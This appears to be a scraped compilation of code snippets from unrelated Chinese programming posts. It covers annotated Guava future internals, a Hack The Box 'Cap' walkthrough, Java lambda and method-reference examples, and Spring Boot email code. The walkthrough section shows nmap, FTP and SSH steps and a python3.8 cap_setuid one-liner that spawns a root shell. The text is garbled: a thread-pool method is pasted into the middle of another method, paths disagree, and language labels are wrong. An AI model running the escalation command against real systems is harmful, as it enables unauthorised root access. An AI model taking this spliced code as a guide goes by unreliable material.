  //包装类型以及对象类型、数组类型等参数传递过程是传递对象的地址，所以在修改传递的对象时，存放在其他地方的引用也会发生改变，所以如果runnable执行过
  //那么在executeList中的执行链中这个runnable是已经被置空了的，然后线程池在线程执行
  public void execute() {
    // Lock while we update our state so the add method above will finish adding
    // any listeners before we start to run them.
    RunnableExecutorPair list;
    synchronized (this) {
      if (executed) {
        return;
      }
	 //把表示表示为已经执行过
      executed = true;
	  //拿到执行链表头
      list = runnables;
	  //置空，等待GC回收
      runnables = null;  // allow GC to free listeners even if this stays around for a while.
    }
	
	//线程池Executor中线程执行任务的方法
	 final void runWorker(Worker w) {
        Thread wt = Thread.currentThread();
		//拿到 Worker 中的runnable
        Runnable task = w.firstTask;
        w.firstTask = null;
        w.unlock(); // allow interrupts
        boolean completedAbruptly = true;
        try {
			//这些是先执行当前worker节点中的任务，执行完之后会从任务队列里一直循环取任务执行任务,
			//执行完一个runnable任务后会置为空等待GC回收
            while (task != null || (task = getTask()) != null) {
                w.lock();
                // If pool is stopping, ensure thread is interrupted;
                // if not, ensure thread is not interrupted.  This
                // requires a recheck in second case to deal with
                // shutdownNow race while clearing interrupt
                if ((runStateAtLeast(ctl.get(), STOP) ||
                     (Thread.interrupted() &&
                      runStateAtLeast(ctl.get(), STOP))) &&
                    !wt.isInterrupted())
                    wt.interrupt();
                try {
                    beforeExecute(wt, task);
                    Throwable thrown = null;
                    try {
                        task.run();
                    } catch (RuntimeException x) {
                        thrown = x; throw x;
                    } catch (Error x) {
                        thrown = x; throw x;
                    } catch (Throwable x) {
                        thrown = x; throw new Error(x);
                    } finally {
                        afterExecute(task, thrown);
                    }
                } finally {
                    task = null;
                    w.completedTasks++;
                    w.unlock();
                }
            }
            completedAbruptly = false;
        } finally {
            processWorkerExit(w, completedAbruptly);
        }
    }
	//链表反转
    RunnableExecutorPair reversedList = null;
    while (list != null) {
      RunnableExecutorPair tmp = list;
      list = list.next;
      tmp.next = reversedList;
      reversedList = tmp;
    }
	//遍历链表交给线程池执行
    while (reversedList != null) {
      executeListener(reversedList.runnable, reversedList.executor);
      reversedList = reversedList.next;
    }
  }

  //添加完成后尝试把这个任务丢个线程池处理
  private static void executeListener(Runnable runnable, Executor executor) {
    try {
      executor.execute(runnable);
    } catch (RuntimeException e) {
      log.log(Level.SEVERE, "RuntimeException while executing runnable "
          + runnable + " with executor " + executor, e);
    }
  }

//静态内部类，封装runnable以及对应执行runnbale的线程池
  private static final class RunnableExecutorPair {
    final Runnable runnable;
    final Executor executor;
    @Nullable RunnableExecutorPair next;
	//基于头插法添加
    RunnableExecutorPair(Runnable runnable, Executor executor, RunnableExecutorPair next) {
      this.runnable = runnable;
      this.executor = executor;
      this.next = next;
    }
  }
}

scss复制代码   /**
     * 根据指定索引index，把future的结果设置进values这个结果集。
     */
    private void setOneValue(int index, Future<? extends V> future) {
      List<Optional<V>> localValues = values;
      //如果任务已经完成或者结果集为空，然后进行判断是否是需要所有的Future成功才处理返回结果集，否则这个一段逻辑不受影响
      if (isDone() || localValues == null) {
        // Some other future failed or has been cancelled, causing this one to
        // also be cancelled or have an exception set. This should only happen
        // if allMustSucceed is true or if the output itself has been
        // cancelled.
        checkState(allMustSucceed || isCancelled(),
            "Future was done before all dependencies completed");
      }

      try {
		  //判断当前传入需要获取结果这个future是否已经完成.
        checkState(future.isDone(),
            "Tried to set value from future which is not done");
			//调用不可中断方法自旋获取future结果
        V returnValue = getUninterruptibly(future);
        if (localValues != null) {
			//然后如果结果存在则把结果设置为指定索引的位置
          localValues.set(index, Optional.fromNullable(returnValue));
        }
      } catch (CancellationException e) {
        if (allMustSucceed) {
          // Set ourselves as cancelled. Let the input futures keep running
          // as some of them may be used elsewhere.
          cancel(false);
        }
      } catch (ExecutionException e) {
        setExceptionAndMaybeLog(e.getCause());
      } catch (Throwable t) {
        setExceptionAndMaybeLog(t);
      } finally {
		 //记录剩余没执行完成的future个数
        int newRemaining = remaining.decrementAndGet();
        checkState(newRemaining >= 0, "Less than 0 remaining futures");
		//如果这个个数等于零证明是最后一个
		//则通过combiner接口的实现方法去把结果联合起来并且设置到AbstractFuture中的value(这个value就是get()方法获取的结果集)
        if (newRemaining == 0) {
          FutureCombiner<V, C> localCombiner = combiner;
          if (localCombiner != null && localValues != null) {
			 //调用AbstractFuture的set方法把 FutureCombine.combine处理后的结果集设置到value中.
            set(localCombiner.combine(localValues));
          } else {
            checkState(isDone());
          }
        }
      }
    }
  }

java复制代码//Uninterruptibles类中的getUniterruptible 不间断的调用get方法 其实就是类似于Future中get方法获取任务执行的结果，
//而且是不可被中断的，中断之后重新设置可中断标记为TRUE
  public static <V> V getUninterruptibly(Future<V> future)
      throws ExecutionException {
    boolean interrupted = false;
    try {
		//自旋是为了如果被中断，重新设置中断标记后重新执行get，从而达到不可中断的效果
      while (true) {
        try {
          return future.get();
        } catch (InterruptedException e) {
          interrupted = true;
        }
      }
    } finally {
		//任务执行完成之后才把当前线程中断
      if (interrupted) {
        Thread.currentThread().interrupt();
      }
    }
  }
  
  //AbstractFuture抽象类中set方法调用aqs子类syn.set设置结果集，然后开始调用执行监听器执行链
    protected boolean set(@Nullable V value) {
	//调用内部aqs子类的sync通过cas设置AbstractFutre的结果
    boolean result = sync.set(value);
	//如果设置成功则判断设置成功，如果成功则证明listenablefuture任务集执行完成，开始执行监听器执行链
    if (result) {
      executionList.execute();
    }
    return result;
  }

bash复制代码┌──(root💀kali)-[~/htb/cab]
└─# nmap -sV -Pn 10.10.10.245
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-28 08:33 EST
Nmap scan report for 10.10.10.245
Host is up (0.35s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

yaml复制代码┌──(root💀kali)-[~/htb/cap]
└─# ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:root): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 May 27  2021 .
drwxr-xr-x    3 0        0            4096 May 23  2021 ..
lrwxrwxrwx    1 0        0               9 May 15  2021 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Feb 25  2020 .bash_logout
-rw-r--r--    1 1001     1001         3771 Feb 25  2020 .bashrc
drwx------    2 1001     1001         4096 May 23  2021 .cache
-rw-r--r--    1 1001     1001          807 Feb 25  2020 .profile
lrwxrwxrwx    1 0        0               9 May 27  2021 .viminfo -> /dev/null
-r--------    1 1001     1001           33 Nov 28 15:32 user.txt
226 Directory send OK.

css复制代码┌──(root💀kali)-[~/htb/cap]
└─# ssh nathan@10.10.10.245                                       
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ECDSA key fingerprint is SHA256:8TaASv/TRhdOSeq3woLxOcKrIOtDhrZJVrrE0WbzjSc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ECDSA) to the list of known hosts.
nathan@10.10.10.245's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Nov 28 16:00:07 UTC 2021

  System load:  0.0               Processes:             225
  Usage of /:   36.6% of 8.73GB   Users logged in:       0
  Memory usage: 21%               IPv4 address for eth0: 10.10.10.245
  Swap usage:   0%

  => There are 2 zombie processes.

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ pwd
/home/nathan
nathan@cap:~$ ls 
user.txt

ini复制代码/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

bash复制代码nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id       
uid=0(root) gid=1001(nathan) groups=1001(nathan)
# whoami
root

java复制代码public static void main(String[] args) {
    new Thread(new Runnable() { // 匿名内部类
        @Override
        public void run() {
            System.out.println("我是线程开启执行的代码");
        }
    }).start();
}

java复制代码// @FunctionalInterface
// public interface Runnable {
//    public abstract void run();
// }
public static void main(String[] args) {
    new Thread(() -> System.out.println("我是线程开启执行的代码")).start();
}

java复制代码List<Integer> list = new ArrayList<>(Arrays.asList(1,2,3,4,5));
list.removeIf(new Predicate<Integer>() {
    @Override
    public boolean test(Integer i) {
        return i > 3;
    }
});
System.out.println(list); // [1, 2, 3]

java复制代码List<Integer> list = new ArrayList<>(Arrays.asList(1,2,3,4,5));
list.removeIf((Integer i) -> {return i > 3;});
System.out.println(list); // [1, 2, 3]

java复制代码List<Integer> list = new ArrayList<>(Arrays.asList(1,2,3,4,5));
list.removeIf((Integer i) -> {return i > 3;});
System.out.println(list); // [1, 2, 3]

java复制代码List<Integer> list = new ArrayList<>(Arrays.asList(1,2,3,4,5));
list.removeIf(i -> i > 3);
System.out.println(list); // [1, 2, 3]

java复制代码public class Demo {
    public static void main(String[] args) {
        new Thread(() -> {
            System.out.println("我是线程启动后执行的代码");
        }).start();
    }
}

shell复制代码java -Djdk.internal.lambda.dumpProxyClasses Demo.class

java复制代码// 将集合中的Integer 转换为 String， 并收集到一个新的集合中
List<Integer> integerList = new ArrayList<>(Arrays.asList(1,2,3,4,5));
List<String> stringList = integerList.stream()
    // 参数i 作为String静态方法valueOf的参数。并且lambda表达式中除了方法的调用以外其他什么都没做
    // .map(i -> String.valueOf(i))
    .map(String::valueOf) // 引用String类中的静态方法valueOf。类名::静态方法名
    .collect(Collectors.toList());
System.out.println(stringList);

java复制代码public class Demo {
    public static void main(String[] args) {
        Test test = new Test();
        List<Integer> integerList = new ArrayList<>(Arrays.asList(1,2,3,4,5));
        integerList.stream()
                /*
                    1.与静态方法不同，要想使用Test类中的show方法 需要先有Test类的实例
                    2.参数i 作为test对象show方法的参数
                    3.并且lambda表达式中除了方法的调用以外其他什么都没做
                 */
                // .forEach(i -> test.show(i));
                .forEach(test::show); // 引用test对象中的方法show。对象名::方法名
    }
}

class Test{
    public void show(Object o){
        System.out.println(o);
    }
}

java复制代码// 将集合中的元素转成大写，并收集到新的集合中
List<String> list = new ArrayList<>(Arrays.asList("a","b","c"));
List<String> list2 = list.stream()
    /*
       1.参数s 作为toUpperCase方法的调用者
       2.并且lambda表达式中除了方法的调用以外其他什么都没做
       3.引用的类型为参数s的数据类型String
    */
    // .map(s -> s.toUpperCase())
    .map(String::toUpperCase) // 引用String类中的方法toUpperCase。类名::方法名
    .collect(Collectors.toList());

java复制代码// 将集合中的元素转成Person对象，并收集到新的集合中
public class Demo {
    public static void main(String[] args) {
        List<String> stringList = new ArrayList<>(Arrays.asList("张三","李四","王五"));

        List<Person> personList = stringList.stream()
                /*
                    1.参数s 作为Person类构造方法的参数
                    2.并且lambda表达式中除了方法的调用以外其他什么都没做
                 */
                // .map(s -> new Person(s))
                .map(Person::new) // 引用Person类中的构造方法。类名::new
                .collect(Collectors.toList());
    }
}

class Person{
    private String name;

    public Person(String name) {
        this.name = name;
    }
}

xml复制代码<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-mail</artifactId>
</dependency>

yaml复制代码spring:
  mail:
    default-encoding: utf-8
    # 主机地址
    host: smtp.163.com
    # 邮箱名
    username: xxx@163.com
    # 授权码 (非邮箱密码)
    password: xxxxxxxxxxxxxxx

java复制代码@RestController
public class EmailController {

    @Autowired
    private JavaMailSender javaMailSender;

    @RequestMapping("/sendMail")
    public void send() {
        SimpleMailMessage message = new SimpleMailMessage();
        // 发件人
        message.setFrom("xxx@163.com");
        // 收件人(可实现批量发送)
        message.setTo("xxx1@qq.com", "xxx2@qq.com");
        // 邮箱标题
        message.setSubject("Java发送邮箱Demo");
        // 邮箱内容
        message.setText("测试 Spring Boot 集成邮箱发送功能的！");
        // 抄送人
        message.setCc("xxx?@163.com");
        // 发送邮件
        javaMailSender.send(message);
    }
}

java复制代码@RestController
public class EmailController {

    @RequestMapping("/sendHtmlMail")
    public void sendHtmlMsg() throws MessagingException {
        MimeMessage message = javaMailSender.createMimeMessage();
        MimeMessageHelper mimeHelper = new MimeMessageHelper(message, true);
        // 发件人
        mimeHelper.setFrom("xxx@163.com");
        // 收件人
        mimeHelper.setTo("xxx@qq.com");
        // 邮箱标题
        mimeHelper.setSubject("Java发送邮箱Demo");
        // 邮箱内容
        mimeHelper.setText("<h2>MimeMessageHelper测试</h2>", true);

        // 仍然使用 JavaMailSender 接口发送邮件
        javaMailSender.send(message);
    }
}

java复制代码@RestController
public class EmailController {

    @Autowired
    private JavaMailSender javaMailSender;
    
	@RequestMapping("/addAttachment")
    public void sendMailWithAttachment() throws MessagingException {
        MimeMessage message = javaMailSender.createMimeMessage();
        MimeMessageHelper mimeWithAttachment = new MimeMessageHelper(message, true);
        // 发件人
        mimeWithAttachment.setFrom("w577159462@163.com");
        // 收件人
        mimeWithAttachment.setTo("577159462@qq.com");
        // 邮箱标题
        mimeWithAttachment.setSubject("发送邮件(带附件)");
        // 邮箱内容
        mimeWithAttachment.setText("添加附件..");

        // 1 附件添加图片
        mimeWithAttachment.addAttachment("1.jpg", new File("D:\\Temp\\_mail\\1.jpg"));
        // 2. 附件添加word文档
        mimeWithAttachment.addAttachment("test.docx", new File("D:\\Temp\\_mail\\test.docx"));

        // 仍然使用 JavaMailSender 接口发送邮件
        javaMailSender.send(message);
    }
}

java复制代码@RestController
public class EmailController {

    @Autowired
    private JavaMailSender javaMailSender;
    
    @RequestMapping("/embeddedPic")
    public void mailWithEmbeddedPic() throws MessagingException {
        MimeMessage message = javaMailSender.createMimeMessage();
        MimeMessageHelper embeddedPic = new MimeMessageHelper(message, true);
        // 发件人
        embeddedPic.setFrom("xxx@163.com");
        // 收件人
        embeddedPic.setTo("xxx@qq.com");
        // 邮箱标题
        embeddedPic.setSubject("发送邮件(内嵌图片)");
        // 邮箱内容
        embeddedPic.setText("发送内嵌图片..");
        // 添加内嵌图片
        embeddedPic.addInline("img1.jpg", new FileSystemResource("D:\\Temp\\_mail\\1.jpg"));

        // 仍然使用 JavaMailSender 接口发送邮件
        javaMailSender.send(message);
    }

}